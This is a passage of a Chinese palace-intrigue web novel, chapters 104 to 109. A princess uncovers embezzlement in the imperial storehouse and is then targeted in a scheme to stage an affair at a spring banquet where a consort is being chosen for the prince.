面对众人的指责,云筝神色不变,“我刚才就在库房,若不是一时兴起去拜访张总管,这会儿被困在火场的人就是我。” “我自知得罪了不少人,但,祸不及家人,要杀要剐冲我来。” 她的视线扫过众人,犀利如刀,“我是个有仇必报的人,伤我家人者,必百倍奉还。” 她的话掷地有声,挟带着森森杀气。 “你们都有家人有父母有孩子,是吧?” 这绝对是威胁,不少人变了脸色。 厉无恙全看在眼里,随后转头看向脸色苍白的云展鹏。 “云大人,你怎么说?” 云展鹏心有余悸,要不是女儿忽然来了,他今日就折在这里了。 “九千岁,库房不是我烧的,我差点被人烧死……” 江大人大声喝道,“你说谎。” 云展鹏有一个郡主女儿,注定会比别人爬的快,今日不除了他,他日必是升职路上的拦路虎。 厉无恙眼中闪过一丝冷光,“掌嘴。” 手下一巴掌挥过去,“九千岁说话,都不许插嘴。” 江大人身体被打飞出去,重重摔在地上,疼的死去活来,这下子彻底老实了。 “继续。” 云展鹏深吸一口气,“我中了迷药,体内应该还留在残药,请太医诊脉即可。” 谷雨走了过来,“这种小事不需要太医,我来。” 习武之人对迷药并不陌生,更何况是精通几十种刑罚的明镜司。 他先撩起云展鹏的眼皮看了看,又搭上他的胳膊诊脉。 “禀九千岁,确实是中了迷药。” 至此,云展鹏引火自焚的可能性为零。 厉无恙微微蹙眉,“你有怀疑的对象吗?” “这……”云展鹏迟疑了一下,他也不知道得罪了谁,居然招来如此疯狂的杀戮。 云筝举起右手,手指着脸肿的像猪头的江大人。 “有,这位织造司员外郎江大人刚用语言攻击我,不主动行礼,还说什么我不配来这里,女子不该干政,还威胁我。” 江大人气急败坏,“你胡说八道,我们就是争辩了几句,我没有理由害你。” 云筝冷冷的看着他,“有,因为我说了一句……” “什么?” 云筝大声说道,“我说了,要找人查他,弹劾他,他害怕了。所以,他有作案的动机。” 江大人的脸色发白,拼命否认。 厉无恙大手一挥,“拖下去彻查。” 明镜司上前将人往外拖,江大人不停的挣扎,“我冤枉啊,冤枉。” “还有谁?” 云筝的视线扫视一圈,被扫到的人后背发寒,不由自主的低头。 最后, 她的视线落在内务府总管身上,“他……” 内务府总管脸色一白,拱了拱手,“郡主,我对你没有意见,你想来就来,想走就走。” “你想做什么,我全力配合你。” 他都示弱了,云筝表示,一切都可商量。 “你说,这杀人放火是冲谁来的?” 张总管不假思索的说道,“是你,内务府有你的仇人,见你来了一刻都不能忍,借机下手,谁知,吉人自有天象,你一点事都没有,却迁连到令尊。” 杀一个普通官员,和杀一个朝廷钦封的郡主,性质完全不一样。 “这事一定要查个水落石出,绝不姑息。” 九千岁都来了,不查是不可能的,这是皇家的内务府,皇上时刻盯着呢。 “啊。”云展鹏忽然惊叫一声,神色异样。 云筝立马关切的问道,“爹?怎么了?” 云展鹏迟疑了一下,凑近女儿的耳边低语,云筝的脸色忽变。 “您拿出来吧,真相是无法用烈火埋葬。” 在众目睽睽之下,云展鹏从怀里取出一本皱巴巴的账本。 “这是库房里的旧账本,我整理时无意中发现有问题,所以,打算找个地方好好研究一下,阴差阳差保存了下来。” 真的是阴差阳错,只能说人算不如天算。 有人不敢置信的看着账本,怎么会这样? 云筝的眼睛眯了起来,“九千岁,我能先看看吗?” 厉无恙微微颔首。 云筝拿过账本,一页页的翻看,看的很仔细。 看完后,她指着几个折了角的页,“这几页都有问题,做了假账,这其中有十万匹布的差额。” 张总管倒抽一口冷气,简直不敢相信自己的耳朵,“十万匹?你没看错?” 云筝淡淡的道,“我从小就会看账,我若称第二,没人敢称第一。” 她大声质问,“一本账本就有这么大的亏空,那么,今日烧掉的账本里有多少亏空呢?” “说巧也巧,帐本全烧毁了,物证没了,若不是我父亲拼死保下这一本帐,那些罪恶就被一把火掩掩盖了。” 现场所有人神色各异,有的心跳加快,有的惊惧交加,有的面无表情。 张总管浑身鸡皮疙瘩都起来了,他管理之下居然有这么大的亏空,他难辞其咎。 皇上也不会饶了他。 可,他真的不知道啊。 云筝摇头叹息,“难怪,皇上老说私库穷,敢情是被那些老鼠挖空了,哎,皇上真是冤大头,他为了黎民百姓紧衣缩食,手下却偷了他的银子,富的流油。” 这话一出,现场鸦雀无声,所有人不寒而栗。 今日之事注定不能善了,因为,皇上绝不允许! 宫中,皇上脸色铁青,暴怒不已,“你说什么?再说一遍。” 第105章 皇上,他们偷您的银子 侍卫小心翼翼的禀道,“皇上,您的私库被那些官员搬空了,他们偷您的银子!” 皇上震怒不已,猛拍桌子,“一群狗贼,居然敢偷朕的银子,杀了!全杀了!” 他气的浑身直哆嗦,目露凶光,“召,睿亲王和张其霖进见。” “遵旨。” 两人奉召匆匆赶来宫中,张总管一进来就跪倒在地,一迭声的求饶。“请皇上恕罪。” 皇上一想到自己的银子被人偷走了,就气的不行。 “混账东西,朕将私库交给你打理,你就是这么打理的?说,你贪了多少?” 张总管面无人色,“臣罪该万死,但,臣没有参与进去啊,就拿了……商户上供的东西。” 商户想跟内务府做生意,想做皇商,都得打点内务府官员,张总管自然是拿大头的。 这也算是潜规则,皇上睁一只眼闭一只眼,平时张总管也总孝敬他好东西。 皇上捞起茶杯砸过去,张总管愣是不敢躲,被砸中脑门,滚烫的茶水混着血顺着脸颊流下来,又疼又狼狈。 皇上见状,怒气稍止,“这么大的亏空,你居然告诉朕你不知道?这话谁信?啊?一本账本就有十万匹布亏空,其他呢?” 虽然,那是布匹的专用帐本,但烧毁的是其他帐本也肯定有问题。 张总管连个屁都不敢放,他也觉得数目庞大。 皇上眉头紧皱,“你让朕很失望。” 张总管眼眶通红,泪如泉涌,“皇上开恩,臣只是能力不足,但,对您一直忠心耿耿,从未做过对不起您的事。” 就是说,除了忠心,一无是处。 皇上看向门口坐轮椅的男人,“皇弟,查的怎么样?” 厉无恙这才进来,拱了拱手,“刚开始查,需要一点时间。” “需要多久?”皇上只想尽快将那些蛀虫揪出来,狠狠打杀一波。 厉无恙略一沉吟,“若是锦云郡主相助,五日即可。” “她?”皇上愣住了。 厉无恙轻声说道,“锦云郡主不仅是经商奇才,查账也是一把好手,张总管十几年都没有发现的问题,锦云郡主扫了一眼,就看出问题所在。” “最重要的是,她不用算盘,一盏茶的时间内就算出多少亏空。” 皇上早知云筝厉害,但没想到这么厉害。 “不用算盘?那怎么算的?” “心算。” 心算?皇上默了默,向跪伏在地的张总管,“确有此事?” 张总管头也不敢抬,“是,锦云郡主天赋异禀,眼光毒辣,才能远超常人。” 他看出来了,九千岁明显要扶锦云郡主上位,安插自己的人手。 罢了,这种时候还是缩着尾巴做人,别得罪了九千岁。 以后,再徐徐图之。 皇上轻叹了一口气,“哎,怎么是个女子?” 男子怎么用都行,女子……想用,但不能开女官的先例。 他不想为了一个女子挑战世俗观念,也不想得罪那些老顽固,落得一世骂名。 “那就让云展鹏过去相助。” 只要云展鹏在,不怕云筝不肯出手。 张总管小心翼翼的说道,“云大人受了惊吓病倒了,郡主忙着侍疾。” 云展鹏交出账本后就晕过去了,真晕假晕不好说,反正,云筝立马带着人回家了。 皇上冷哼一声,“真没用。” 厉无恙想了想,“实在不行,就跟户部借调一批人。” “不,不行。”张总管可不想被户部知道家底,也不想被他们嘲笑。 “不可以。”皇上也不乐意。 皇上斟酌半晌,“来人,去宣召锦云郡主,让她在内务府帮忙盘帐。” 侍卫匆匆而去,匆匆而回。 “锦云郡主说,她忙着侍疾,实在无法脱身。” 皇上顿时恼了,“她怎么回事?私事比公务还重要?不知轻重,不识大体,一点都没有责任心。” 厉无恙凉凉的开口,“皇上,她只是一个闲散郡主,空有名号,哪有什么公务?” 皇上愣住了,眉头紧皱。 她太好用了,他都快忘了她不是官员。 名不正言不顺,确实不好搞,也不能服众。 “那就让她暂代云展鹏的职责,若干的好,就让云展鹏升职。” “是。” 这一次,云筝没有拒绝,而是勉为其难的答应了。 传说中生病的云展鹏半坐在软榻上吃点心,“你真的要去?” 云筝笑眯眯的说道,“温水煮青蛙,先让他们适应一下,等哪天发现缺了我不行,自然就能接受出现一个女官了。” 让云父当官是第一步,这是第二步。 从上到下推很困难,从下到上推也不容易,所以,她选择了双管齐下。 还挑了皇上的私库,内务府,这是最容易撬开一角的地方。 内务府算是一个小朝廷,跟朝堂是两个体系,阻力相应的会少点。 她,真正要的是权力!为了自己,也为了后来者,更是为了天下女子! 永远不要指望别人施舍,权力是要靠自己争取的。 那就让她成为第一个开拓者吧。 内务府,厉无恙带着明镜司已经入驻,所有官吏都不能回家,停职接受调查。 官吏们又累又困又害怕,但又不敢说什么。 只是,听到张总管的话,有人忍不住了。 “总管大人,真让锦云郡主暂代云展鹏一职?” 张总管神色不变,“是,这是皇上的诏令。” 官员小声的嘀咕,“居然发这样的诏令,怎么想的?” 张总管如今是待罪之身,格外敏感。“闭嘴,你想死别拉上我,这种时刻保命都来不及,你还心思多管闲事。” “这不算闲事吧。” 就在此时,云筝带着人进来了,张总管笑脸相迎。 “您可来了,我已经为您准备好了书房,您看满意吗?” 不得不说,张总管能坐稳这个位置,是有原因的。 他机灵,识务,还懂得能屈能伸。 云筝是单独一个房间,隔壁就是厉无恙的办公地。 她走向书房,厉无恙看了过来,两人相视一眼,一切尽在不言中。 她想要权力,那他,助她一臂之力! 厉无恙负责审案,云筝负责查帐,两人配合默契,挖出了不少蛀虫。 这一日,宫人过来了,“九千岁,您怎么还在这?今天是春日宴,为您选妃的日子,赶紧去啊。” 一边的云筝好奇的看过来,“选妃?” 厉无恙无来由的慌张,心慌意乱,“皇上乱来,我不去。” 宫人看了过来,“锦云郡主也在啊,皇后请您也过去一趟,说是要请您帮个忙。” 云筝也想出去透透气,放个风,“行。” 厉无恙抿了抿嘴,眼神微闪,不知在想什么。 “那,我们也去凑凑热闹。” 宫人很惊讶,“九千岁,您不是不去吗?” 厉无恙一本正经的颌首,“哦,本王改主意了。” 云筝笑的贼兮兮的,厉无恙的耳根子渐渐红了。 此时的他们,全然不知,两人的关系在这次春日宴上发生翻天覆地的改变…… 嗯,选妃是个好主意,就是结果让人大为震撼。 第106章 春日宴,选妃 春日宴,就设在永宁长公主府邸,由皇后主持,永宁长公主协办。 永宁长公主是皇上的长姐,是先皇嫡长女,备受尊宠,成婚时先皇将一座皇家园林赐给她当公主府邸,在宗室中声誉很高。 她善长交际,长袖善舞,经常设宴欢歌。 正值春日,草长莺飞,百花争奇斗艳。 未婚的年轻男女在园中兴致盎然的游玩,到处是欢声笑语。 这不仅仅是给皇子选妃,也是为贵族年轻男女相亲。 永宁长公主的小姑子纪芳菲出落的亭亭玉立,“嫂子,您就帮帮我嘛,我若是成了睿亲妃,唯您马首是瞻,事事听您的。” 两人虽是姑嫂,但,相差了十几岁,情若母女。 永宁长公主也知道这是好事,会让她权势更盛一筹,但,九皇弟不是她能控制的人。 那小子太冷漠了,眼中除了皇上外,没有别人。 他们这些年纪相差很大的哥哥姐姐 ,哪有什么感情?二妹永安就折在那小子手里。 但,这话不好跟小姑子说。 她看着娇艳如花的纪芳菲,亲昵的捏捏她的脸蛋,“你要知道,九皇弟的婚事只有两个人能作主,一个是皇上,一个是太后。” “太后整日念经,不过问世事,恐怕也不会过问九皇弟的婚事。” 纪芳菲听明白了,缠着她撒娇,“您帮我在皇上面前多说几句好话呗。” 她从小就喜欢厉无恙,做梦都想嫁给他,都成了一种执念。 永宁长公主微微笑道,“等会九皇弟会过来,你好好表现,男人都喜欢乖巧甜美又温顺的女子。” 纪芳菲娇生惯养,最是骄纵,但为了成为睿王妃,愿意暂时收起脾气。 “知道了,您一定要帮我呀。” 永宁长公主笑吟吟的点头,“我不方便出面,让语儿带着你这个小姑姑去皇后面前多表现。” 纪语儿是永宁长公主亲女,两人感情极好,满口答应。 就在此时, 宫人禀道,“皇后娘娘来了。” 不光皇后娘娘来了,大皇子夫妻,二皇子夫妻,三皇子,四皇子,五皇子, 江城郡主都来了。 大家齐刷刷的迎上去行礼,一番客套后,在花园凉亭坐下来。 皇后看着满园的青春少男少女,心情大好,打趣道,“三皇儿,四皇儿,你们好好看看,喜欢什么样的女子,自己挑。” 能进入园子的少女都是精挑细选的,家世清白,个人条件优越。 三皇子哈哈一笑,“让九皇叔先挑,父皇急眼了呢。” 大家都笑了。 一片笑声中, 纪语儿带着纪芳菲凑到皇后面前,纪芳菲各种奉承讨好,各种表现,三句不离九千岁,少女怀春心思全写在脸上,大家都看在眼里。 原来,她的目标是九千岁,这是提前示威,让竞争对手知难而退吗? 三皇子看在眼里,没放在心上。 四皇子心中不喜,暗暗记了一笔,这是看不起他喽? 他是半个嫡子,为人最是骄傲。 “九皇叔怎么还不来?” 就在此时,通禀声响起,“九千岁驾到,锦云郡主驾到。” 皇后轻笑,“总算是到了,大皇子,你带人去迎一迎。” “是。”大皇子带着一众兄弟过去迎接,其他人不敢怠慢,跟了过去。 “见过九皇叔。” “见过睿王爷。” 厉无恙一袭锦衣,眉眼清冷,“都起来吧。” 他就算是坐在轮椅上,但一身凛冽的气势碾压全场。 云筝落后了厉无恙几步,没有喧宾夺主,但,依旧挡不住绝世风采。 红衣烈艳,倾城绝色,让无数男子心魂俱震。 美,太美了,是一种生机勃勃的美,自信,张扬,热烈的美丽。 纪芳菲第一眼就看到了云筝,她跟厉无恙站在一起莫名的相配,这一幕深深的扎了纪芳菲的眼,心底升起强烈的危机。 “睿王爷,您怎么跟这个女子一起过来?” 厉无恙微微皱眉,“这是锦云郡主,奉皇上之命协助本王办差。” 纪芳菲笑的天真极了,“原来如此,郡主好能干呀,不过,你整天混在男人堆里,你夫家不介意吗?” 云筝何等聪明之人,自然听出了她话里的恶意,“我没有夫家。” 纪芳菲大声说道,“我没有记错的话,你已经嫁入平西侯府,成了江二公子的妻子。” 她生怕别人不知道,云筝已经成婚了,反复提醒。 云筝最烦这事了,怼了一句,“你的消息不灵通啊,我早就跟平西侯府决裂,皇上默许了。” 纪芳菲揪着不放,“那也没有和离呀,你依旧是江二公子的人。” 云筝不耐烦了,“你这么关心此事,难道是对江闻舟有情?你可以现在就去追求江闻舟,反正,他无耻惯了,兼祧三房,四房也不是不行。” “就是,你得准备好万贯家财,否则,主动倒贴,江二也看不上你。“ 这话太难听了,众人面面相觑,果然如传说中般杀伤力巨大。 纪芳菲又羞又气,皇后面前她怎么装都不装一下? “你胡说什么,我都没见过江二公子,哪来的情意?女儿家的名声最金贵,你怎么能如此污蔑我?” 她委屈的不行,楚楚可怜的瞟了厉无恙一眼,“我只是关心你。” 厉无恙只看着云筝,全然无视她的存在,她更生气了。 云筝不客气反问道,“我认识你吗?我需要一个陌生人不怀好意的关心吗?” 纪芳菲将她视为头号大敌,恨不得让她立马消失,“你一个女子如此桀骜不驯,夫家不喜,以后可怎么活啊?‘ 云筝微微一笑,“我有钱,有爵位,你有吗?” “你……”纪芳菲虽然是长公主的小姑子,但,纪父已经退仕,驸马是书画大家,只挂了个四品的虚职,不需要上衙的那种。 云筝笑眯眯的捅刀子,“哦,你没有,普通人就少操心有钱勋贵的事,多关心自己的教养吧,你这性子嫁到夫家,活不过一年的。” 大家目瞪口呆,她好凶残呀。 纪芳菲气的差点吐血。 她眼珠一转,“九千岁,您来评评理,我到底哪里做错了,让江二夫人如此针对我?” 一声江二夫人,咬字很重。 她这是试探厉无恙的心意呢,大家都悄悄竖起耳朵倾听。 虽然都不觉得这两人有事,但,八卦之心人皆有之嘛,万一呢。 第107章 你惹她干吗?她,战绩可查 厉无恙冷冷的瞥了她一眼,“你惹她干吗?你难道没听过她的大名?战绩可查,一人吊打平西侯府,永安长公主,你觉得你是唯一的例外?” 纪芳菲目瞪口呆,“您护着她?” 厉无恙神色淡漠,“不是应该的吗?” 云筝理直气壮,“我帮王爷做事,王爷就该护着我,天经地义。” 他们理所当然的模样,让纪芳菲心里很不舒服。“可,男女授受不亲,瓜田李下,还是要避嫌。” 云筝轻笑一声,嘲讽道,“我觉得不需要,王爷觉得不需要,皇上觉得不需要,就你觉得需要,你算哪根葱啊?比皇上还厉害?” 一直沉默的永宁长公主立马站出来,“郡主嘴下留情。” 她太擅长扯着虎皮拉大旗,分分钟钟将你套进来坑了,永安就是这么折的。 云筝还算给面子,没有继续,大家都暗暗松了一口气。 有了前车之鉴,大家都不敢放肆,对待云筝客套中带着疏离,云筝才不在乎呢,快乐的奔向江城郡主。 江城郡主也很开心,“阿筝,我给你带的礼物,你看看喜欢吗?” 是一对南诏进贡的耳环,具有异国风情。 云筝笑眯眯的点头,“喜欢,我也给你带了礼物。” 江城郡主眉眼弯弯,“我们心有灵犀呀。” 是一条粉彩瓷手串,色泽淡雅柔和,清逸艳丽。 江城郡主一看就喜欢上了,马上戴在手腕上,雪白的肌肤配上粉嫩的颜色,漂亮极了。 “好好看,我怎么没见过这种?” 云筝伸出右腕,也有一条粉彩瓷的手串,在阳光下闪耀着迷人的光芒。 “我家新研发出了一种粉彩瓷,我让人做了几条手串,每一条都是独一无二,很有意义。” 江城郡主越看越喜欢,爱不释手。 “粉彩瓷双联瓶有吗?我想定制两套送礼。”宫中需要送礼的时候太多了。 云筝一口答应下来,“行啊。” 一边的大皇子妃忽然主动开口,“我也订两套。” 二皇子妃不甘示弱,“我也订两套。” 云筝和江城郡主面面相觑,有些茫然,这两人啥意思? 三皇子还跑来凑热闹,“我也要两套。” 云筝有些烦他,“打钱。” 时刻盯着她的纪芳菲又忍不住了,“能给三皇子送礼,是一种荣幸。” 云筝立马怼了回去,“瓜田李下,孤男寡女,还是别来往,免得说不清楚。” 纪芳菲呵呵一笑,“那,给在场的人得送两套呗,云家家大业大,不会在乎这点小钱吧。” 云筝气笑了,打秋风打到她这里来了。 “这世上只有帝后和太后才有资格让我送礼,其他只能有来有往。” “皇后娘娘,我让人送三套进宫,希望您喜欢。” 皇后嘴角轻轻上扬,她有点理解皇上为何对云筝一再破例了。 谁不喜欢独一无二的偏爱和尊重呢? 宫中嫔妃都想挤下她,事事争抢,所以,她格外喜欢这种唯一的尊重。 “是个懂事的。” 如今的人面面俱到,台面上滴水不漏,反而不及锦云郡主的赤诚。 纪芳菲故意瞟了厉无恙一眼,“九千岁也不够格?” 云筝还没有说什么呢,厉无恙就开口了,“本王最喜讨厌多嘴多舌,搬弄是非的人。” 纪芳菲眼眶一红,委屈的不行,“王爷,我没有。” 她就是嫉妒的发疯,控制不住想找云筝麻烦。 厉无恙听而不闻,不再理会她。 纪芳菲眼中闪过一丝怨恨。 两个美丽少女相携走过来,“锦云郡主,你还记得我们吗?” 云筝一眼就认了出来,“记得,皇觉寺。” 她跑去皇觉寺截胡,从叶宜蓁手里抢下鬼医孙子,当时,这两人就在现场围观。 两人落落大方的介绍,“我是抚远将军之女,程明丽,我很喜欢你的性格。” “我是大理寺卿之女,秦素素,希望能跟你做朋友。” 云筝笑眯眯的给两人也送了手串,“好啊,很高兴跟两位做朋友。” “素素,我见过你父亲,他是不是在家里偷偷骂过我?” 秦素素扑哧一声,“他说你烦人,刑部不去,京兆府不去,非跑来大理寺告状。” 云筝哈哈大笑,“你父亲看着一脸正气,不是徇私枉法的人,才找他嘛。” 秦素素一脸的骄傲,“没错,我父亲是清流,不结党营私,只效忠皇上。” 云筝随口问道,“你父亲是不是有特殊身份?我看皇上对他挺好 。” 秦素素眉眼弯弯,“我父亲曾经是皇上的伴读。” 云筝恍然大悟,那才是真正的帝王心腹。 开宴了,每个人的位置都是按照父兄官职排的,而云筝跟江城郡主坐在一起,两人都对选妃没有想法,无欲无求,说说笑笑,很是自在。 就在她们叽叽喳喳时,皇后娘娘出声了,“锦云郡主。” 云筝站了起来,“皇后娘娘,您有事?” 皇后娘娘冲她笑道,“是这样的,本宫想办一个皇家慈幼局,专门收容一些无家可归的孤儿,启动资金……是宫中嫔妃各自捐出一件饰品,本宫想请你办一个拍卖会,将这些饰品换成银子。” “不知,你可愿帮这个忙?” 云筝在这方面最有经验,而且还能拍出高价,自然是找她。 云筝还以为什么事呢, 他们云家也经常做善事。 她一口答应,“这是积德的好事,我愿意出一份力,这事就交给我吧。” 永宁长公主轻笑道,“这样的好事岂能落下我?不行,我也要参与,我捐一支翠镶碧玺花钗。” 大皇子妃也主动说道,“我捐一对紫玉芙蓉耳坠。” 二皇子妃也随大流,“我捐珊瑚十八子手串。” 江城郡主笑道,“我捐一对孔雀花青玉镯。” 其他名门千金纷纷踊跃响应,气氛热烈。 云筝看了皇后一眼,皇后嘴角轻扬。 果然,宫中没有一个蠢人。蠢货是活不下来的。 就在此时,一名上菜的丫鬟脚下一滑,“啊。” 菜倒向云筝方向,猝不及防的云筝被洒了个正着,衣服一片脏污。 丫鬟扑通一声跪倒在地,惶恐极了,“郡主饶命。” 云筝瞬间想到无数种后院陷害手段,哟,轮到自己了?谁手段这么低级?有点小兴奋,是怎么回事? 永宁长公主大声喝斥,“废物,拖下去打。” 她一脸的歉意,“锦云郡主,实在抱歉,我陪你下去换身衣裳吧。” 斜对面的厉无恙看了过来,微微蹙眉,又搞事? 第108章 螳螂捕蝉,黄雀在后 云筝的衣服脏成这样,确实没法穿了,“不用麻烦长公主了,春华,你去马车拿衣服。” 只要出门应酬,大家都会多带一身,以防万一。 她今日带了春华和紫烟两个丫环,够用了。 永宁长公主非常客气,“是本宫待客不周,本宫就赔你一套衣服和佩饰,走吧。” 按理说,在谁家出了事,主人负责到底,永宁长公主这么做也没有毛病。 云筝扬了扬眉,用眼神示意春华去拿。 “不劳长公主大驾,您是主人,还要招待这么多客人,就让……纪芳菲小姐陪我过去吧。” 被点名的纪芳菲愣了一下,刚才撕的那么难看,怎么还让她陪? “我?” “不方便吗?”云筝侧着脑袋,笑容明媚。 永宁长公主笑容一顿,随后说道,“芳菲,你就陪锦云郡主去换衣服。” 纪芳菲眼珠一转,“那行吧。” 江城郡主笑吟吟的站起来,“我吃多了正想消消食,我也去。” 云筝有些感动,这是担心她吧。 纪芳菲做了一个请的手势,“请。” 云筝带着紫烟,江城郡主带着一个丫环跟着纪芳菲离开了。 三皇子看着她们远去的身影,扬了扬眉。 树欲静而风不止啊,就是不知道最后谁吃亏了。 他还挺想看云筝吃亏的。 厉无恙微微蹙眉,做了一个手势,一道黑影迅速跟了上去。 公主府邸的风景很美,云筝四处张望,欣赏这一路的美景。 “锦云郡主,你觉得睿王爷如何?” 云筝随口道,“大气,宽容,护短。” 纪芳菲不敢相信自己的耳朵,“宽容?我没听错吧?” 云筝笑眯眯的点头,“皇上也挺宽容的,兄弟俩都很有人情味。” 这是纪芳菲听过最好笑的笑话,皇上心胸狭窄,睿王爷不近人情,这都是出了名的。 云筝为了拍他俩的马屁,居然闭着眼睛说瞎话,呵呵,真心让人瞧不起。 江城郡主见过皇上和云筝的相处模式,不禁笑道,“如果有人给我挣个几百万,我会当成祖宗般供着。” 皇上对没有威胁,又有用的人,确实很宽容。 纪芳菲的目光盯上了她,“江城郡主,你觉得睿王爷性情如何?” 这是试探她的心意,江城郡主不假思索的说道,“只可远观,不可近看。” 纪芳菲这才高兴了,“就是说,你们都不喜欢睿王爷,不会跟我抢,对吧?” 这是怎么得出来的结论?两人相视一眼,有些无语。 纪芳菲笑容满面的说道,“对,没错,我就是喜欢睿王爷,从小就喜欢,我一定要嫁给他。” 满满的小心机。 她忽然郑重其事的行了一礼,“两位姐姐,还请帮帮我,助我成为睿亲妃,我保你们一辈子的荣华富贵,睿王府永远是你们的靠山。” 云筝沉默了,槽点太多,不知该从何吐起。 江城郡主淡淡的道,“我们不缺荣华富贵。” 都是郡主了,只要不造反,这辈子衣食无忧。 纪芳菲一把拉住她的胳膊,“江城郡主,我可以帮你嫁一个好夫婿。” 她知道,江城郡主一直没有婚配,宫里不知是忘了,还是故意卡着,她这年纪了肯定很着急。 “锦云郡主,我可以帮你和离,彻底脱离平西侯府。” 她知道,云筝一心想和离,这是她最大的软肋。 不得不说,她有点小聪明,很擅长攻心。 但,她遇到的不是正常人。 云筝翻了个白眼,“靠睿王爷?那我为什么不直接求他?” 纪家又不是什么牌面上的大人物,全靠永宁长公主撑着。 再说了,和离只是时间问题,为了这一点破事欠人情,她脑子坏了? 纪芳菲却自信满满的提出交易,“我可以帮你做掉他,你帮我嫁给睿王爷,如何?” 云筝眼神微凝,这哪是交易?分明是想将她绑上纪家的贼船,这是纪芳菲误打误撞?还是长公主的意思? 云筝看着她执拗的脸,不禁摇头,她这是为情发疯?还是被权势蒙蔽了心智? 见她不说话,纪芳菲眼中闪过一丝恼怒,没有再纠缠,“快走吧,水榭就在前面。” 走着走着,纪芳菲忽然捂着肚子,“啊,我的肚子好疼,我要去茅房。” 她看向随身丫环,“小翠,你给两位郡主带路,好好侍候她们,不得有半点怠慢。” “是。” 纪芳菲走了两步,额头渗出汗珠,可怜兮兮的求道,“我走不动路了,锦云郡主,你让你侍女送我过去吧,求你了。” 她身体佝偻,夹着双腿,一副快要急哭的模样。 云筝深深的看了她一眼,这么老套的手段怎么还在用?因为屡试不爽? 她冲紫烟使了个眼色,爽快的答应了,“好啊。” 紫烟上前扶起纪芳菲,“来,奴婢送你。” 纪芳菲转过身体,眼中闪过一丝狠辣,别怪我,是你挡了别人的路。 水榭内,熏香袅袅,热气腾腾的香汤送上,全新华服和精美的首饰一字排开,任由两人挑选。 小翠态度殷勤极了,“两位郡主,你们尽管挑自己喜欢的,这是长公主送你们的赔礼。” 云筝不想要,但,小翠不停的劝,她只好勉为其难挑了一套,江城郡主见状,也挑了一套。 “我这是沾了你的光。” 云筝摆了摆手 ,“我要沐浴更衣了,都退下吧。” 小翠乖巧的应了一声,“江城郡主,我陪您去隔壁房间休息吧。” 云筝笑道,“阿妩,你先过去吧。” 江城郡主迟疑了一下,“你身边没有丫环侍候,我留下搭一把手。” 小翠张了张嘴,但到嘴的话及时咽了回去,带着人默默退回去。 临出门时,她看向角落燃着的熏香,嘴角扬起一抹诡异的笑。 小翠清场了,只留她一人守在门口。 一个贼眉鼠眼的中年男人闪身进来,跟小翠对视一眼,小翠指了指门内,退到一边。 中年男人凑过去,听着流水声,眼中的色欲蠢蠢欲动,推门而入。 “美人儿,我来了。” 花园,宴会 大家说说笑笑,气氛极为热闹。 就在此时,一名丫环跌跌撞撞闯进来,“不好了,出事了。” 欢笑声戛然而止,众人齐刷刷的竖起耳朵,哟,有热闹可看了。 永宁长公主没好气的轻斥,“毛毛躁躁的,出什么事了?” 丫环神色紧张而又局促,似乎难以启齿,“锦云郡主她……跟野男人偷情,实在不堪入目……” “轰隆隆”全场炸开了锅,天啊! 厉无恙脸色一沉。 第109章 抓奸,刺激 几个年轻男人夸张的叫了起来,“天啊,怎么会这样?” “锦云郡主也太轻浮了,这种场合也敢乱来,一点都没有将皇家放在眼里。” 皇后在宫中浸染多年,见过无数阴谋诡计,心里跟明镜似的。 她面如沉水,“长公主,今日这种场合,为什么有野男人出现?你必须给本宫一个交待。” 她不是担心云筝,而是恼怒永宁长公主居然敢在她举办的春日宴上动手,太不给她脸面。 永宁长公主一脸的惶恐,“皇后娘娘莫急,眼见为实,耳听为虚,或许是谣言,不如去看一眼。” 皇后深深的看了她一眼,都是千年狐狸,装什么装? “若锦云郡主有个三长两短,你自己去跟皇上交待。” 永宁长公主心中不屑,皇上不过是要云筝帮着挣钱,名声好不好,有什么关系? 名声不好,那就隐在幕后赚钱呗,更好拿捏她。 皇上说不定会更高兴呢。 她嘴上说道,“肯定是假的,锦云郡主不是轻浮的人,出了这样的谣言,我们必须还她一个清白。” “走,一起去看看。” 大家纷纷看向坐着不动的厉无恙,永宁长公主也看了过去,跟一双冰冷的眼睛对上,她下意识的避开。 “九皇弟,你看?” 厉无恙神色阴沉的可怕,“永宁长公主,你是主人,你带路。” 他以往是叫大皇姐的,现在都不叫了。 永宁长公主脸色微变,心中莫名的涌起一丝忐忑。 但,事已至此,她别无选择。 大家刚走到水榭,就听到屋子里传出奇怪的声音,成婚的大皇子妃和二皇子妃红了脸。 门口没有丫环守着,一个人影都没有。 永宁长公主扬声叫道,“锦云郡主,锦云郡主,你在里面吗?” 里面依旧浪声不断,没有停下来。 大家听的面红耳赤,“这声音不对劲。” “天啊,就这么迫不及待吗? “我没想到锦云郡主居然是这种水性杨花的女人,我错看她了。” “她天天在男人堆里打转,水性杨花之名早就传遍了。” “我早就说过,不该让女人抛头露面,看吧,出事了吧。” “皇上就该下令,让所有女人不得抛头露面,全关在家里,连门都不能出。” 年轻男子情绪激烈,有不少女子也在一边帮腔,觉得云筝害她们也跟着一起丢脸。 但,程明丽脸色很难看,压低声音说道,“我怎么觉得锦云郡主被算计了?” 这套路太眼熟,没想到永宁长公主居然这么下三滥,亲自下场对付一个无辜的女子。 皇室的血都是冷的,是黑的。 秦素素面有不忍之色,“把觉得去掉,哎,可惜了。” 那么美好而又明媚的女子啊。 皇后轻轻叹了一口气,不知有多少女子折在这种阴谋诡计之下,云筝不是第一个,也不会是最后一个。 三皇子的心情复杂的无法用言语形容。 他以为会很高兴,毕竟,云筝曾经让他很难堪,将他的脸面踩在脚底下。 但,他发现并不高兴,心情沉甸甸的,像心口坠了一块大石头。 为什么呢? 可能,也许,觉得那么厉害强势的云筝,怎么能折在这种地方? 厉无恙一路上很阴沉,浑身散发着戾气,但来到水榭,听到里面的动静,反而平静无波,喜怒不形于色。 他就坐在轮椅上,眉眼淡漠,像个不相关的人。 永宁长公主一直在偷偷观察他,实在看不懂他。 说他不关心吧,面色不好看。 说他关心吧,好冷淡。 只是,因为动了他的手下,伤了他的颜面?不是,其他? 大皇子站出来说道,“九皇叔,还请您示下。” 这一招太恶毒了,不光要将所有女性打压下去,还要逼九千岁亲手砍断自己的左膀右臂。 厉无恙眼中闪过一丝寒意,冷冷下令,“砸门。” 永宁长公主嘴角微翘。 秦素素不禁急了,拦在前面,“不,不行,九千岁,放过她吧。” 程明丽也跑了过来,跟好姐妹站在一起,“九千岁,就当什么事情都没有发生吧,求您了。” 虽然很害怕,但,还是勇敢的站出来。 永宁长公主凉凉的笑道,“九皇弟,要不,就算了?” 